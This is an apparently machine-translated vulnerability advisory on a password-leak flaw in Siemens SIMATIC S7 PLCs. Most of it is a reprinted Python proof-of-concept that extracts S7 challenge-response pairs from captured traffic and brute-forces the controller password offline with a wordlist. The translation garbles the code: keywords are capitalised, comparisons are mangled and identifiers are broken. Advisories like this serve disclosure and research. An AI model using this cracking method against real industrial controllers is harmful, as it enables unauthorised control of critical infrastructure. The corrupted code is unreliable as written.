Release date:
Updated on: 2013-01-22
Affected Systems:
Siemens SIMATIC S7 PLC Systems
Description:
--------------------------------------------------------------------------------
Bugtraq id: 57439
Siemens SIMATIC S7 Programmable Logic Controllers (PLC) is a modular PLC controller.
The Siemens SIMATIC S7 Programmable Logic Controllers (PLC) system has a password leakage vulnerability. Attackers can exploit this vulnerability to obtain device password creden.
The S7 protocol is a communication protocol between SCADA, HMI, and PLC. The data transmission of this protocol is password-protected. Alexander Timorin released an offline brute-force password cracking tool for this protocol, which obtains challenge-response data from auth data packets of the S7 protocol, on this basis, attackers can perform offline brute-force password cracking.
<* Source: Alexander Timorin
Link: http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-13-016-02.pdf
Http://scadastrangelove.blogspot.com/2013/01/s7brut.html
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Alexander Timorin () provides the following test methods:
"""
File: s7-brute-offline.py
Desc: offline password bruteforsing based on challenge-response data, extracted from auth traffic dump file
Alexander Timorin, Dmitry Sklyarov
Http://scadastrangelove.org
Version: 0.1 (just for demo, don't kick my ass plz)
"""
Import sys
Import hashlib
Import hmac
From binascii import hexlify
Try:
From scapy. all import *
Failed t ImportError:
Print "please install scapy: http://www.secdev.org/projects/scapy"
Sys. exit ()
Export _pcap_file = '/root/siemens/RE_S7/stop_cpu_assist_right_pass_123.pcap'
Pai_dictionary_file = 'dict.txt'
Def get_challenge_response ():
R = rdpcap (pai_pcap_file)
Lens = map (lambda x: x. len, r)
Pckt_lens = dict ([(I, lens [I]) for I in range (0, len (lens)])
# Try to find challenge packet
Pckt_108 = 0 # challenge packet (from server)
For (pckt_indx, pckt_len) in pckt_lens.items ():
If pckt_len + 14 = 108 and hexlify (r [pckt_indx]. load) [] = '000000 ':
Pckt_108 = pckt_indx
Break
# Try to find response packet
Pckt_141 = 0 # response packet (from client)
_ T1 = dict ([(I, lens [I]) for I in pckt_lens.keys () [pckt_108:])
For pckt_indx in sorted (_ t1.keys ()):
Pckt_len = _ t1 [pckt_indx]
If pckt_len + 14 = 141 and hexlify (r [pckt_indx]. load) [] = '000000 ':
Pckt_141 = pckt_indx
Break
# Try to find auth result packet
Pckt_84 = 0 # auth answer from plc: pckt_len = 84-> auth OK
Pckt_92 = 0 # auth answer from plc: pckt_len = 92-> auth bad
For pckt_indx in sorted (_ t1.keys ()):
Pckt_len = _ t1 [pckt_indx]
If pckt_len + 14 = 84 and hexlify (r [pckt_indx]. load) [] = '7202000f32 ':
Pckt_84 = pckt_indx
Break
If pckt_len + 14 = 92 and hexlify (r [pckt_indx]. load) [] = '000000 ':
Pckt_92 = pckt_indx
Break
Print "found packets indeces: pckt_108 = % d, pckt_141 = % d, pckt_84 = % d, pckt_92 = % d" % (pckt_108, pckt_141, pckt_84, pckt_92)
If pckt_84:
Print "auth OK"
Else:
Print "auth bad. for brute we need right auth result. exit"
Sys. exit ()
Challenge = None
Response = None
Raw_challenge = hexlify (r [pckt_108]. load)
If raw_challenge [46: 52] = '000000' and raw_challenge [92: 94] = '00 ':
Challenge = raw_challenge [52: 92]
Print "found challenge: % s" % challenge
Else:
Print "cannot find challenge. exit"
Sys. exit ()
Raw_response = hexlify (r [pckt_141]. load)
If raw_response [64: 70] = '000000' and raw_response [110:112] = '00 ':
Response = raw_response [70: 110]
Print "found response: % s" % response
Else:
Print "cannot find response. exit"
Sys. exit ()
Return challenge, response
Def calculate_s7response (password, challenge ):
Challenge = challenge. decode ("hex ")
Return hmac. new (hashlib. sha1 (password). digest (), challenge, hashlib. sha1). hexdigest ()
If _ name _ = '_ main __':
Print "using pcap file: % s" % pai_pcap_file
Challenge, response = get_challenge_response ()
Print "start password bruteforsing ..."
For p in open (pai_dictionary_file ):
P = p. strip ()
If response = calculate_s7response (p, challenge ):
Print "found password: % s" % p
Sys. exit ()
Print "password not found. try another dictionary ."
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
Siemens
-------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
Http://www.siemens.com/corporate-technology/pool/